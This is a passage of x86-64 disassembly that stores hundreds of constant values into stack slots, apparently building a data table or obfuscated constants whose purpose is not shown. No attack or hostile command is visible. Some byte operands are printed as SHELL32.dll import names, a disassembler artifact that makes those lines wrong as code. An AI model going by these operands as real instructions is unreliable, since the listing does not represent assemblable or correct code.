mov dword [rsp + 0x6f0c], 0x145d
movabs rax, 0x775fd49787508f
mov qword [rsp + 0xdea0], rax
mov eax, 0x6ef
mov word [rsp + 0x1eec], ax
mov eax, 0x5bb
mov word [rsp + 0x1ef0], ax
mov byte [rsp + 0x38e], SHDoDragDrop
mov byte [rsp + 0x38f], 0xc7
mov eax, 0x297
mov word [rsp + 0x1ef4], ax
mov byte [rsp + 0x390], 0x7e
mov dword [rsp + 0x6f10], 0x2164
movabs rax, 0x7af9fcb9bc445d
mov qword [rsp + 0xdea8], rax
movabs rax, 0x7b030ea34623a1
mov qword [rsp + 0xdeb0], rax
mov eax, 0xae7
mov word [rsp + 0x1ef8], ax
mov eax, 0x7d7
mov word [rsp + 0x1efc], ax
mov dword [rsp + 0x6f14], 0x1e2a
mov byte [rsp + 0x391], 0xf7
mov eax, 0x400
mov word [rsp + 0x1f00], ax
mov eax, 0x692
mov word [rsp + 0x1f04], ax
mov byte [rsp + 0x392], ILFree
movabs rax, 0x775954b5c3d267
mov qword [rsp + 0xdeb8], rax
movabs rax, 0x777ff4a197cac0
mov qword [rsp + 0xdec0], rax
mov byte [rsp + 0x393], 0xe0
movabs rax, 0x712eff6761ad95
mov qword [rsp + 0xdec8], rax
movabs rax, 0x758145d615cdbe
mov qword [rsp + 0xded0], rax
mov byte [rsp + 0x394], PathYetAnotherMakeUniqueName
movabs rax, 0x719c93cc4cf34e
mov qword [rsp + 0xded8], rax
mov eax, 0xd78
mov word [rsp + 0x1f08], ax
mov dword [rsp + 0x6f18], 0x78c0
movabs rax, 0x7486dfc7b2e8ad
mov qword [rsp + 0xdee0], rax
movabs rax, 0x7180298c5c5bf0
mov qword [rsp + 0xdee8], rax
mov byte [rsp + 0x395], 0x62
movabs rax, 0x734840f85e13e8
mov qword [rsp + 0xdef0], rax
mov dword [rsp + 0x6f1c], 0xe78f
mov dword [rsp + 0x6f20], 0x75ca
mov eax, 0xa8b
mov word [rsp + 0x1f0c], ax
mov byte [rsp + 0x396], 0x60
mov dword [rsp + 0x6f24], 0x38e4
movabs rax, 0x72167a024667f4
mov qword [rsp + 0xdef8], rax
movabs rax, 0x7358f64797eeeb
mov qword [rsp + 0xdf00], rax
movabs rax, 0x70b508877a3520
mov qword [rsp + 0xdf08], rax
mov eax, 0x522
mov word [rsp + 0x1f10], ax
mov byte [rsp + 0x397], 0x8e
mov byte [rsp + 0x398], 0xd5
mov eax, 0x900
mov word [rsp + 0x1f14], ax
mov byte [rsp + 0x399], 0xe9
mov eax, 0x681
mov word [rsp + 0x1f18], ax
mov eax, 0x8a1
mov word [rsp + 0x1f1c], ax
mov eax, 0x43c
mov word [rsp + 0x1f20], ax
mov byte [rsp + 0x39a], SHDoDragDrop
mov byte [rsp + 0x39b], 0x30
mov byte [rsp + 0x39c], 9
movabs rax, 0x760a459f82cfa5
mov qword [rsp + 0xdf10], rax
mov dword [rsp + 0x6f28], 0xc426
mov byte [rsp + 0x39d], 0x1e
mov eax, 0xba9
mov word [rsp + 0x1f24], ax
mov eax, 0xcc7
mov word [rsp + 0x1f28], ax
mov dword [rsp + 0x6f2c], 0x20f3
mov eax, 0xf68
mov word [rsp + 0x1f2c], ax
movabs rax, 0x763703382fd39a
mov qword [rsp + 0xdf18], rax
mov byte [rsp + 0x39e], 0xdb
movabs rax, 0x7c609d49cd4b0b
mov qword [rsp + 0xdf20], rax
movabs rax, 0x7367277eaf8050
mov qword [rsp + 0xdf28], rax
movabs rax, 0x75969df481f546
mov qword [rsp + 0xdf30], rax
mov byte [rsp + 0x39f], 0x39
movabs rax, 0x787af5f13ea0c0
mov qword [rsp + 0xdf38], rax
movabs rax, 0x715b844efd0e6c
mov qword [rsp + 0xdf40], rax
mov dword [rsp + 0x6f30], 0x4e01
mov byte [rsp + 0x3a0], 0xfc
mov dword [rsp + 0x6f34], 0xbd5e
mov dword [rsp + 0x6f38], 0xf81f
mov eax, 0x5ba
mov word [rsp + 0x1f30], ax
movabs rax, 0x7e788514ce1d90
mov qword [rsp + 0xdf48], rax
movabs rax, 0x7dc8e08ea3cc1f
mov qword [rsp + 0xdf50], rax
mov eax, 0x6d4
mov word [rsp + 0x1f34], ax
movabs rax, 0x757b8b946b27b3
mov qword [rsp + 0xdf58], rax
mov eax, 0x52f
mov word [rsp + 0x1f38], ax
mov eax, 0x27a
mov word [rsp + 0x1f3c], ax
mov dword [rsp + 0x6f3c], 0x62f6
mov byte [rsp + 0x3a1], 0x27
mov byte [rsp + 0x3a2], ILFree
mov dword [rsp + 0x6f40], 0x2b5e
mov eax, 4
mov word [rsp + 0x1f40], ax
movabs rax, 0x79efba82b665ca
mov qword [rsp + 0xdf60], rax
movabs rax, 0x7c9160e2bd93b2
mov qword [rsp + 0xdf68], rax
mov byte [rsp + 0x3a3], 0x43
mov eax, 0x632
mov word [rsp + 0x1f44], ax
mov dword [rsp + 0x6f44], 0xe8c1
movabs rax, 0x75139e2f9851e5
mov qword [rsp + 0xdf70], rax
mov byte [rsp + 0x3a4], 0x31
movabs rax, 0x7509095d5c90af
mov qword [rsp + 0xdf78], rax
mov byte [rsp + 0x3a5], SHDoDragDrop
movabs rax, 0x71819a7f68bb2e
mov qword [rsp + 0xdf80], rax
mov eax, 0x3e6
mov word [rsp + 0x1f48], ax
movabs rax, 0x71dde4cf052e3c
mov qword [rsp + 0xdf88], rax
movabs rax, 0x752fc16b8443c5
mov qword [rsp + 0xdf90], rax
mov dword [rsp + 0x6f48], 0x5dbe
movabs rax, 0x70a5b7f6232383
mov qword [rsp + 0xdf98], rax
mov byte [rsp + 0x3a6], PathYetAnotherMakeUniqueName
mov eax, 0xa2d
mov word [rsp + 0x1f4c], ax
movabs rax, 0x7e62663e2c6789
mov qword [rsp + 0xdfa0], rax
movabs rax, 0x79e42856045d63
mov qword [rsp + 0xdfa8], rax
mov byte [rsp + 0x3a7], ILCloneFirst
mov dword [rsp + 0x6f4c], 0x20e8
mov byte [rsp + 0x3a8], 0x39
mov eax, 0x4d5
mov word [rsp + 0x1f50], ax
mov eax, 0x1e1
mov word [rsp + 0x1f54], ax
mov dword [rsp + 0x6f50], 0x6d91
mov dword [rsp + 0x6f54], 0x66d3
mov dword [rsp + 0x6f58], 0x298f
mov eax, 0x287
mov word [rsp + 0x1f58], ax
mov eax, 0xa7b
mov word [rsp + 0x1f5c], ax
mov dword [rsp + 0x6f5c], 0x350a
mov dword [rsp + 0x6f60], 0xe6e1
mov eax, 0xf1e
mov word [rsp + 0x1f60], ax
mov byte [rsp + 0x3a9], 0x70
mov eax, 0x234
mov word [rsp + 0x1f64], ax
mov eax, 0x75d
mov word [rsp + 0x1f68], ax
mov dword [rsp + 0x6f64], 0xe95
movabs rax, 0x7930d57cd13525
mov qword [rsp + 0xdfb0], rax
mov eax, 0x2b5
mov word [rsp + 0x1f6c], ax
mov byte [rsp + 0x3aa], reloc.SHELL32.dll_ILRemoveLastID
mov eax, 0x44a
mov word [rsp + 0x1f70], ax
mov byte [rsp + 0x3ab], 4
mov eax, 0x659
mov word [rsp + 0x1f74], ax
mov eax, 0x35a
mov word [rsp + 0x1f78], ax
movabs rax, 0x7c4d65d0261771
mov qword [rsp + 0xdfb8], rax
mov byte [rsp + 0x3ac], 0x7c
movabs rax, 0x73c716326efc55
mov qword [rsp + 0xdfc0], rax
mov dword [rsp + 0x6f68], 0x18a2
mov byte [rsp + 0x3ad], 0x70
mov dword [rsp + 0x6f6c], 0xd23
movabs rax, 0x7ef2a1f79ddd12
mov qword [rsp + 0xdfc8], rax
mov dword [rsp + 0x6f70], 0xcd05
mov dword [rsp + 0x6f74], 0xbecf
mov eax, 0x5df
mov word [rsp + 0x1f7c], ax
movabs rax, 0x7b2401f48e07aa
mov qword [rsp + 0xdfd0], rax
mov eax, 0x276
mov word [rsp + 0x1f80], ax
mov byte [rsp + 0x3ae], 0x29
mov byte [rsp + 0x3af], 0x7d
mov eax, 0x9e0
mov word [rsp + 0x1f84], ax
mov eax, 0x27e
mov word [rsp + 0x1f88], ax
mov eax, 0x6cc
mov word [rsp + 0x1f8c], ax
movabs rax, 0x74dc0a95c196e6
mov qword [rsp + 0xdfd8], rax
movabs rax, 0x762261f61629e3
mov qword [rsp + 0xdfe0], rax
mov byte [rsp + 0x3b0], 0x77
mov eax, 0xf2f
mov word [rsp + 0x1f90], ax
mov eax, 0xa5c
mov word [rsp + 0x1f94], ax
mov dword [rsp + 0x6f78], 0x23bc
mov eax, 0x5a4
mov word [rsp + 0x1f98], ax
mov dword [rsp + 0x6f7c], 0xa1
mov eax, 0xb6a
mov word [rsp + 0x1f9c], ax
mov dword [rsp + 0x6f80], 0x3bc9
mov byte [rsp + 0x3b1], SHSetInstanceExplorer
mov dword [rsp + 0x6f84], 0x2bbe
mov eax, 0xdf6
mov word [rsp + 0x1fa0], ax
movabs rax, 0x76628ad6d4f1d0
mov qword [rsp + 0xdfe8], rax
mov byte [rsp + 0x3b2], 0xbf
mov byte [rsp + 0x3b3], 0x68
movabs rax, 0x71791c9dca5996
mov qword [rsp + 0xdff0], rax
movabs rax, 0x75b4fd1f78103c
mov qword [rsp + 0xdff8], rax
movabs rax, 0x7c809d6f27841d
mov qword [rsp + 0xe000], rax
mov dword [rsp + 0x6f88], 0x3765
mov eax, 0x548
mov word [rsp + 0x1fa4], ax
mov eax, 0x5a5
mov word [rsp + 0x1fa8], ax
movabs rax, 0x75a4da27417268
mov qword [rsp + 0xe008], rax
mov dword [rsp + 0x6f8c], 0xaaf2
mov byte [rsp + 0x3b4], 0x77
movabs rax, 0x7705f3ef0cf657
mov qword [rsp + 0xe010], rax
mov byte [rsp + 0x3b5], 0x33
movabs rax, 0x7b629e0cbe516b
mov qword [rsp + 0xe018], rax
mov dword [rsp + 0x6f90], 0x8d92
movabs rax, 0x742627cabfc2c3
mov qword [rsp + 0xe020], rax
movabs rax, 0x72c0463bbd39f3
mov qword [rsp + 0xe028], rax
mov byte [rsp + 0x3b6], 0x3f
mov dword [rsp + 0x6f94], 0x18d4
movabs rax, 0x7199f83590edd5
mov qword [rsp + 0xe030], rax
mov eax, 0x929
mov word [rsp + 0x1fac], ax
movabs rax, 0x70440e07349bca
mov qword [rsp + 0xe038], rax
movabs rax, 0x7ec3c4b8cd5d50
mov qword [rsp + 0xe040], rax
movabs rax, 0x72728e7c23a35d
mov qword [rsp + 0xe048], rax
mov byte [rsp + 0x3b7], SHGetNewLinkInfoW
movabs rax, 0x7b8386f926a512
mov qword [rsp + 0xe050], rax
mov byte [rsp + 0x3b8], 0xfe
mov eax, 0x4a1
mov word [rsp + 0x1fb0], ax
movabs rax, 0x76e6d938e9933f
mov qword [rsp + 0xe058], rax
mov eax, 0x7e6
mov word [rsp + 0x1fb4], ax
mov eax, 0x1d7
mov word [rsp + 0x1fb8], ax
movabs rax, 0x7068b5551781f4
mov qword [rsp + 0xe060], rax
mov dword [rsp + 0x6f98], 0x607f
movabs rax, 0x772d94f0692bdf
mov qword [rsp + 0xe068], rax
mov eax, 0x90a
mov word [rsp + 0x1fbc], ax
mov byte [rsp + 0x3b9], 0x59
mov byte [rsp + 0x3ba], 0x71
mov dword [rsp + 0x6f9c], 0x4b50
movabs rax, 0x73647983b7b501
mov qword [rsp + 0xe070], rax
mov eax, 0x3e3
mov word [rsp + 0x1fc0], ax
mov byte [rsp + 0x3bb], SHDoDragDrop
mov eax, 0x178
mov word [rsp + 0x1fc4], ax
movabs rax, 0x74b6819fa3d944
mov qword [rsp + 0xe078], rax
mov eax, 0xf4
mov word [rsp + 0x1fc8], ax
mov dword [rsp + 0x6fa0], 0xfdca
movabs rax, 0x7660a054509aaa
mov qword [rsp + 0xe080], rax
mov eax, 0x5f6
mov word [rsp + 0x1fcc], ax
mov eax, SHDoDragDrop
mov word [rsp + 0x1fd0], ax
mov dword [rsp + 0x6fa4], 0x4e6b
mov dword [rsp + 0x6fa8], 0x5a15
mov dword [rsp + 0x6fac], 0x268d
mov eax, 0x18f
mov word [rsp + 0x1fd4], ax
mov byte [rsp + 0x3bc], 0x6d
movabs rax, 0x76403a2675d874
mov qword [rsp + 0xe088], rax
mov eax, 0x248
mov word [rsp + 0x1fd8], ax
mov eax, 0xaf4
mov word [rsp + 0x1fdc], ax
mov eax, 0x694
mov word [rsp + 0x1fe0], ax
mov dword [rsp + 0x6fb0], 0x59ec
movabs rax, 0x7b96b2eb0d064b
mov qword [rsp + 0xe090], rax
movabs rax, 0x7e1f576009e22f
mov qword [rsp + 0xe098], rax
mov dword [rsp + 0x6fb4], 0x2c40
mov byte [rsp + 0x3bd], reloc.SHELL32.dll_ILFindLastID
mov eax, 0xc9f
mov word [rsp + 0x1fe4], ax
mov dword [rsp + 0x6fb8], 0x7ed7
mov dword [rsp + 0x6fbc], 0xa7a6
mov eax, 0x3b2
mov word [rsp + 0x1fe8], ax
movabs rax, 0x7eb73731e9dbaa
mov qword [rsp + 0xe0a0], rax
mov dword [rsp + 0x6fc0], 0x3c6f
movabs rax, 0x78db0bd37e65e6
mov qword [rsp + 0xe0a8], rax
movabs rax, 0x7a3000cbc60f82
mov qword [rsp + 0xe0b0], rax
mov byte [rsp + 0x3be], 0x1f
mov eax, 0x12c
mov word [rsp + 0x1fec], ax
movabs rax, 0x75bdd6d67f998d
mov qword [rsp + 0xe0b8], rax
mov eax, 0x2e1
mov word [rsp + 0x1ff0], ax
movabs rax, 0x7da3cc4e525844
mov qword [rsp + 0xe0c0], rax
mov eax, 0x5d7
mov word [rsp + 0x1ff4], ax
mov byte [rsp + 0x3bf], 0x78
mov eax, 0x311
mov word [rsp + 0x1ff8], ax
movabs rax, 0x7d1c80b3f5db56
mov qword [rsp + 0xe0c8], rax
mov eax, 0x7f3
mov word [rsp + 0x1ffc], ax
movabs rax, 0x7710d95795d6f2
mov qword [rsp + 0xe0d0], rax
mov byte [rsp + 0x3c0], 2
mov byte [rsp + 0x3c1], 0x30
mov eax, 0x849
mov word [rsp + 0x2000], ax
mov dword [rsp + 0x6fc4], 0xb444
movabs rax, 0x7187f3e2d388df
mov qword [rsp + 0xe0d8], rax
mov dword [rsp + 0x6fc8], 0x643f
movabs rax, 0x7d17883117e89e
mov qword [rsp + 0xe0e0], rax
mov eax, 0x1ef
mov word [rsp + 0x2004], ax
movabs rax, 0x757d2849e4ffcf
mov qword [rsp + 0xe0e8], rax
movabs rax, 0x7b46bfda8fcb38
mov qword [rsp + 0xe0f0], rax
movabs rax, 0x748b7bf71e5527
mov qword [rsp + 0xe0f8], rax
mov dword [rsp + 0x6fcc], 0x41f8
movabs rax, 0x791420f0ea198d
mov qword [rsp + 0xe100], rax
movabs rax, 0x79014f4a447fd8
mov qword [rsp + 0xe108], rax
movabs rax, 0x7ab34a0eeabf9d
mov qword [rsp + 0xe110], rax
mov eax, 0x298
mov word [rsp + 0x2008], ax
mov eax, 0x4d9
mov word [rsp + 0x200c], ax
mov eax, 0x63a
mov word [rsp + 0x2010], ax
mov byte [rsp + 0x3c2], 0x5a
mov dword [rsp + 0x6fd0], 0xf2b
mov byte [rsp + 0x3c3], SHDoDragDrop
mov byte [rsp + 0x3c4], 0x68
mov byte [rsp + 0x3c5], 0xd7
mov dword [rsp + 0x6fd4], 0x6737
movabs rax, 0x7e5b6361bd2c9a
mov qword [rsp + 0xe118], rax
movabs rax, 0x7c14e0cde708bf
mov qword [rsp + 0xe120], rax
movabs rax, 0x780f719e3c17da
mov qword [rsp + 0xe128], rax
mov dword [rsp + 0x6fd8], 0x7499
mov eax, 0xff
mov word [rsp + 0x2014], ax
movabs rax, 0x7bc46024153936
mov qword [rsp + 0xe130], rax
mov eax, 0xca6
mov word [rsp + 0x2018], ax
mov dword [rsp + 0x6fdc], 0x2aa3
movabs rax, 0x70222b37d492d4
mov qword [rsp + 0xe138], rax
mov eax, 0x1c7
mov word [rsp + 0x201c], ax
mov byte [rsp + 0x3c6], 0x61
mov eax, 0xec
mov word [rsp + 0x2020], ax
mov byte [rsp + 0x3c7], 0x21
movabs rax, 0x7228bf9f4bac07
mov qword [rsp + 0xe140], rax
movabs rax, 0x74c8a8b8d57405
mov qword [rsp + 0xe148], rax
mov eax, 0x1ab
mov word [rsp + 0x2024], ax
mov byte [rsp + 0x3c8], 0xa
movabs rax, 0x7a24bc5341f16a
mov qword [rsp + 0xe150], rax
movabs rax, 0x798fc5a65d122d
mov qword [rsp + 0xe158], rax
mov byte [rsp + 0x3c9], 0xd1
mov eax, 0x1c9
mov word [rsp + 0x2028], ax
movabs rax, 0x7ea752e565c3a8
mov qword [rsp + 0xe160], rax
mov byte [rsp + 0x3ca], 0xd0
movabs rax, 0x75e2225f47e58c
mov qword [rsp + 0xe168], rax
mov byte [rsp + 0x3cb], 0xc9
mov dword [rsp + 0x6fe0], 0x3605
mov eax, 0x442
mov word [rsp + 0x202c], ax
mov eax, 0x540
mov word [rsp + 0x2030], ax
mov dword [rsp + 0x6fe4], 0x18ee
mov dword [rsp + 0x6fe8], 0xd738
mov dword [rsp + 0x6fec], 0xc04d
mov eax, 0x324
mov word [rsp + 0x2034], ax
movabs rax, 0x70b08786dd4e3b
mov qword [rsp + 0xe170], rax
mov eax, 0xc7
mov word [rsp + 0x2038], ax
mov dword [rsp + 0x6ff0], 0x51a
movabs rax, 0x730ee31c77a653
mov qword [rsp + 0xe178], rax
mov eax, 0x24d
mov word [rsp + 0x203c], ax
mov dword [rsp + 0x6ff4], 0x550a
mov eax, 0x688
mov word [rsp + 0x2040], ax
movabs rax, 0x7b19e31b5b08db
mov qword [rsp + 0xe180], rax
mov dword [rsp + 0x6ff8], 0x807d
mov eax, 0x64c
mov word [rsp + 0x2044], ax
movabs rax, 0x7bf1862b8b7d56
mov qword [rsp + 0xe188], rax
movabs rax, 0x7371235f203337
mov qword [rsp + 0xe190], rax
mov dword [rsp + 0x6ffc], 0x578d
mov eax, 0x4b9
mov word [rsp + 0x2048], ax
movabs rax, 0x7c778d78d0323a
mov qword [rsp + 0xe198], rax
mov byte [rsp + 0x3cc], 0x7d
mov byte [rsp + 0x3cd], 0x3a
mov dword [rsp + 0x7000], 0x214b
mov dword [rsp + 0x7004], 0xa8be
movabs rax, 0x73df66dc873ac9
mov qword [rsp + 0xe1a0], rax
movabs rax, 0x7587b4e4cb8432
mov qword [rsp + 0xe1a8], rax
mov eax, 0x217
mov word [rsp + 0x204c], ax
movabs rax, 0x71896115d17a50
mov qword [rsp + 0xe1b0], rax
mov dword [rsp + 0x7008], 0x6769
mov eax, 0x91d
mov word [rsp + 0x2050], ax
mov eax, 0x4ee
mov word [rsp + 0x2054], ax
mov eax, 0xef4
mov word [rsp + 0x2058], ax
mov byte [rsp + 0x3ce], 6
mov dword [rsp + 0x700c], 0xd668
mov dword [rsp + 0x7010], 0x65bb
mov eax, 0xfae
mov word [rsp + 0x205c], ax
mov eax, 0x1b8
mov word [rsp + 0x2060], ax
mov byte [rsp + 0x3cf], 0xfc
movabs rax, 0x74564954512d06
mov qword [rsp + 0xe1b8], rax
mov byte [rsp + 0x3d0], 0x4d
mov dword [rsp + 0x7014], 0xf25a
movabs rax, 0x76b4c87fa49224
mov qword [rsp + 0xe1c0], rax
mov dword [rsp + 0x7018], 0x83a2
mov byte [rsp + 0x3d1], ILFindChild
movabs rax, 0x7724d5c863ceeb
mov qword [rsp + 0xe1c8], rax
mov dword [rsp + 0x701c], 0x8d97
mov dword [rsp + 0x7020], 0x26a3
mov dword [rsp + 0x7024], 0x3adf
movabs rax, 0x7534c444d02a6f
mov qword [rsp + 0xe1d0], rax
mov dword [rsp + 0x7028], 0x60ea
movabs rax, 0x76e695e641ecea
mov qword [rsp + 0xe1d8], rax
mov dword [rsp + 0x702c], 0x21c6
movabs rax, 0x75d626b1c25edf
mov qword [rsp + 0xe1e0], rax
mov dword [rsp + 0x7030], 0x5808
mov dword [rsp + 0x7034], 0x3a93
movabs rax, 0x70bbe461362419
mov qword [rsp + 0xe1e8], rax
mov byte [rsp + 0x3d2], 2
mov byte [rsp + 0x3d3], 0
mov dword [rsp + 0x7038], 0xd5d
mov byte [rsp + 0x3d4], 0x91
mov dword [rsp + 0x703c], 0xc615
movabs rax, 0x78c354cb6962ba
mov qword [rsp + 0xe1f0], rax
movabs rax, 0x7a46341983f8c3
mov qword [rsp + 0xe1f8], rax
mov dword [rsp + 0x7040], 0x6c3c
movabs rax, 0x74f629dd9dc85e
mov qword [rsp + 0xe200], rax
mov dword [rsp + 0x7044], 0xd700
movabs rax, 0x7c52b2ebf6cb8b
mov qword [rsp + 0xe208], rax
mov byte [rsp + 0x3d5], 0x6d
mov eax, 0x320
mov word [rsp + 0x2064], ax
mov eax, 0x371
mov word [rsp + 0x2068], ax
mov eax, 0x418
mov word [rsp + 0x206c], ax
mov eax, 0x244
mov word [rsp + 0x2070], ax
mov byte [rsp + 0x3d6], 0x39
mov byte [rsp + 0x3d7], reloc.SHELL32.dll_ILCloneFirst
mov eax, 0x8f2
mov word [rsp + 0x2074], ax
movabs rax, 0x762bc7a377d38d
mov qword [rsp + 0xe210], rax
movabs rax, 0x76a9ef1436f2d1
mov qword [rsp + 0xe218], rax
movabs rax, 0x75ee726704195f
mov qword [rsp + 0xe220], rax
mov dword [rsp + 0x7048], 0xce8a
movabs rax, 0x7046b5e7722d02
mov qword [rsp + 0xe228], rax
mov dword [rsp + 0x704c], 0x71bc
mov eax, 0xe0a
mov word [rsp + 0x2078], ax
movabs rax, 0x7bffd145a04df6
mov qword [rsp + 0xe230], rax
movabs rax, 0x731db0b9d60f05
mov qword [rsp + 0xe238], rax
mov byte [rsp + 0x3d8], 0x61
mov dword [rsp + 0x7050], 0x6faa
mov byte [rsp + 0x3d9], 0x20
mov dword [rsp + 0x7054], 0xf345
movabs rax, 0x7d708cb03028c2
mov qword [rsp + 0xe240], rax
mov eax, 0x8c6
mov word [rsp + 0x207c], ax
movabs rax, 0x7d1bc92097f9c6
mov qword [rsp + 0xe248], rax
movabs rax, 0x72f05236344ff3
mov qword [rsp + 0xe250], rax
mov byte [rsp + 0x3da], 0
mov eax, 0x2c5
mov word [rsp + 0x2080], ax
mov byte [rsp + 0x3db], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x7058], 0x2812
mov eax, 0xf3d
mov word [rsp + 0x2084], ax
mov eax, 0x226
mov word [rsp + 0x2088], ax
movabs rax, 0x788e699231d134
mov qword [rsp + 0xe258], rax
mov dword [rsp + 0x705c], 0x1b2f
mov eax, 0xad5
mov word [rsp + 0x208c], ax
mov eax, 0x543
mov word [rsp + 0x2090], ax
mov dword [rsp + 0x7060], 0x7a7f
mov byte [rsp + 0x3dc], 0x4d
mov eax, 0x2a1
mov word [rsp + 0x2094], ax
mov eax, 0x441
mov word [rsp + 0x2098], ax
movabs rax, 0x7a811a5cb3ce85
mov qword [rsp + 0xe260], rax
mov byte [rsp + 0x3dd], 0xcc
mov byte [rsp + 0x3de], 0xe3
mov eax, 0x1df
mov word [rsp + 0x209c], ax
movabs rax, 0x740b4ba34a007a
mov qword [rsp + 0xe268], rax
mov eax, 0xd96
mov word [rsp + 0x20a0], ax
mov dword [rsp + 0x7064], 0x2e61
mov eax, 0x6b9
mov word [rsp + 0x20a4], ax
mov byte [rsp + 0x3df], 0x71
mov dword [rsp + 0x7068], 0x1e30
mov eax, 0x2ca
mov word [rsp + 0x20a8], ax
mov byte [rsp + 0x3e0], 0x36
mov byte [rsp + 0x3e1], 0x59
mov eax, 0x59f
mov word [rsp + 0x20ac], ax
mov dword [rsp + 0x706c], 0xa6c5
movabs rax, 0x7b887cf1f6d0bb
mov qword [rsp + 0xe270], rax
mov eax, 0xbed
mov word [rsp + 0x20b0], ax
mov eax, 0x566
mov word [rsp + 0x20b4], ax
mov byte [rsp + 0x3e2], 9
movabs rax, 0x7842da7e3b4986
mov qword [rsp + 0xe278], rax
mov dword [rsp + 0x7070], 0x45fe
mov byte [rsp + 0x3e3], SHSetInstanceExplorer
mov dword [rsp + 0x7074], 0x6ab
mov dword [rsp + 0x7078], 0xdb67
mov byte [rsp + 0x3e4], 0x35
movabs rax, 0x746ee773830ec4
mov qword [rsp + 0xe280], rax
movabs rax, 0x758524966895ff
mov qword [rsp + 0xe288], rax
mov dword [rsp + 0x707c], 0x8682
mov byte [rsp + 0x3e5], 0x69
mov eax, 0x1e0
mov word [rsp + 0x20b8], ax
mov byte [rsp + 0x3e6], 0x8d
mov dword [rsp + 0x7080], 0x4ee0
mov dword [rsp + 0x7084], 0x4713
mov eax, 0x389
mov word [rsp + 0x20bc], ax
movabs rax, 0x7ac8420fee82e7
mov qword [rsp + 0xe290], rax
movabs rax, 0x71eeca7d891ba3
mov qword [rsp + 0xe298], rax
movabs rax, 0x7c2af7237df607
mov qword [rsp + 0xe2a0], rax
mov eax, ILFindChild
mov word [rsp + 0x20c0], ax
mov byte [rsp + 0x3e7], ILCloneFirst
movabs rax, 0x72768293c53967
mov qword [rsp + 0xe2a8], rax
mov byte [rsp + 0x3e8], 0x31
mov dword [rsp + 0x7088], 0x7602
mov eax, 0x272
mov word [rsp + 0x20c4], ax
mov dword [rsp + 0x708c], 0x1eb2
mov byte [rsp + 0x3e9], 0xa2
mov eax, 0x169
mov word [rsp + 0x20c8], ax
mov eax, 0x679
mov word [rsp + 0x20cc], ax
mov eax, 0x501
mov word [rsp + 0x20d0], ax
movabs rax, 0x7a97e3d24022f8
mov qword [rsp + 0xe2b0], rax
mov dword [rsp + 0x7090], 0x277a
mov eax, 0xdd3
mov word [rsp + 0x20d4], ax
mov byte [rsp + 0x3ea], 0xf9
mov byte [rsp + 0x3eb], 0x7b
movabs rax, 0x79b0f10638766b
mov qword [rsp + 0xe2b8], rax
mov byte [rsp + 0x3ec], 0x67
mov dword [rsp + 0x7094], 0x2598
mov dword [rsp + 0x7098], 0xda
movabs rax, 0x7ef4bfbfc75d33
mov qword [rsp + 0xe2c0], rax
mov eax, 0xe76
mov word [rsp + 0x20d8], ax
mov eax, 0x2d1
mov word [rsp + 0x20dc], ax
mov dword [rsp + 0x709c], 0x606d
movabs rax, 0x79aa31c5c08dcd
mov qword [rsp + 0xe2c8], rax
mov eax, 0x719
mov word [rsp + 0x20e0], ax
mov dword [rsp + 0x70a0], 0xd46b
movabs rax, 0x77aff6ac4d54e0
mov qword [rsp + 0xe2d0], rax
movabs rax, 0x737a3d2788380e
mov qword [rsp + 0xe2d8], rax
movabs rax, 0x77ceac21978895
mov qword [rsp + 0xe2e0], rax
mov eax, 0xf7
mov word [rsp + 0x20e4], ax
mov byte [rsp + 0x3ed], 0xce
mov byte [rsp + 0x3ee], 0x96
mov byte [rsp + 0x3ef], 8
movabs rax, 0x7137cc9ed0340d
mov qword [rsp + 0xe2e8], rax
mov eax, 0x434
mov word [rsp + 0x20e8], ax
mov eax, 0xfd
mov word [rsp + 0x20ec], ax
mov dword [rsp + 0x70a4], 0x6e84
mov eax, 0xc65
mov word [rsp + 0x20f0], ax
mov dword [rsp + 0x70a8], 0x65d8
movabs rax, 0x7df6e662563921
mov qword [rsp + 0xe2f0], rax
mov eax, 0x2b1
mov word [rsp + 0x20f4], ax
movabs rax, 0x73439f065cc624
mov qword [rsp + 0xe2f8], rax
movabs rax, 0x751432dd789b03
mov qword [rsp + 0xe300], rax
movabs rax, 0x70682a32ef1025
mov qword [rsp + 0xe308], rax
mov dword [rsp + 0x70ac], 0x68ee
mov dword [rsp + 0x70b0], 0xf44b
mov dword [rsp + 0x70b4], 0x1bd9
mov dword [rsp + 0x70b8], 0x7916
mov byte [rsp + 0x3f0], 0x6b
mov dword [rsp + 0x70bc], 0x52f2
mov dword [rsp + 0x70c0], 0x509d
mov dword [rsp + 0x70c4], 0x239b
movabs rax, 0x7798abf365ead8
mov qword [rsp + 0xe310], rax
mov eax, 0x2f3
mov word [rsp + 0x20f8], ax
mov dword [rsp + 0x70c8], 0x60fc
movabs rax, 0x737cb5ddf64948
mov qword [rsp + 0xe318], rax
mov eax, 0x29c
mov word [rsp + 0x20fc], ax
movabs rax, 0x7ef74a6af9230b
mov qword [rsp + 0xe320], rax
movabs rax, 0x7c1a14c2b685c3
mov qword [rsp + 0xe328], rax
mov byte [rsp + 0x3f1], 0x21
movabs rax, 0x7b4a9208d0556b
mov qword [rsp + 0xe330], rax
movabs rax, 0x7a1cf302cf5b92
mov qword [rsp + 0xe338], rax
movabs rax, 0x779e07d34902e7
mov qword [rsp + 0xe340], rax
mov byte [rsp + 0x3f2], 0xb7
movabs rax, 0x714a7ef814bc21
mov qword [rsp + 0xe348], rax
mov byte [rsp + 0x3f3], 0x41
mov dword [rsp + 0x70cc], 0x7181
mov eax, 0x7d4
mov word [rsp + 0x2100], ax
mov eax, 0x620
mov word [rsp + 0x2104], ax
mov eax, 0x6b7
mov word [rsp + 0x2108], ax
movabs rax, 0x72af6e7c433f0e
mov qword [rsp + 0xe350], rax
mov byte [rsp + 0x3f4], 0x65
mov dword [rsp + 0x70d0], 0x4ebe
mov byte [rsp + 0x3f5], 0x63
movabs rax, 0x72de7b723450a6
mov qword [rsp + 0xe358], rax
mov dword [rsp + 0x70d4], 0xb8a2
mov eax, 0x184
mov word [rsp + 0x210c], ax
movabs rax, 0x75812a3a4a031f
mov qword [rsp + 0xe360], rax
mov byte [rsp + 0x3f6], 0x76
movabs rax, 0x7d33fc0d8d7630
mov qword [rsp + 0xe368], rax
movabs rax, 0x70026294238e7d
mov qword [rsp + 0xe370], rax
mov dword [rsp + 0x70d8], 0x6286
mov eax, 0x175
mov word [rsp + 0x2110], ax
mov eax, 0x742
mov word [rsp + 0x2114], ax
mov byte [rsp + 0x3f7], 0x26
movabs rax, 0x7a365e52d60500
mov qword [rsp + 0xe378], rax
mov byte [rsp + 0x3f8], 0x63
mov dword [rsp + 0x70dc], 0x1e9a
mov eax, 0x9ab
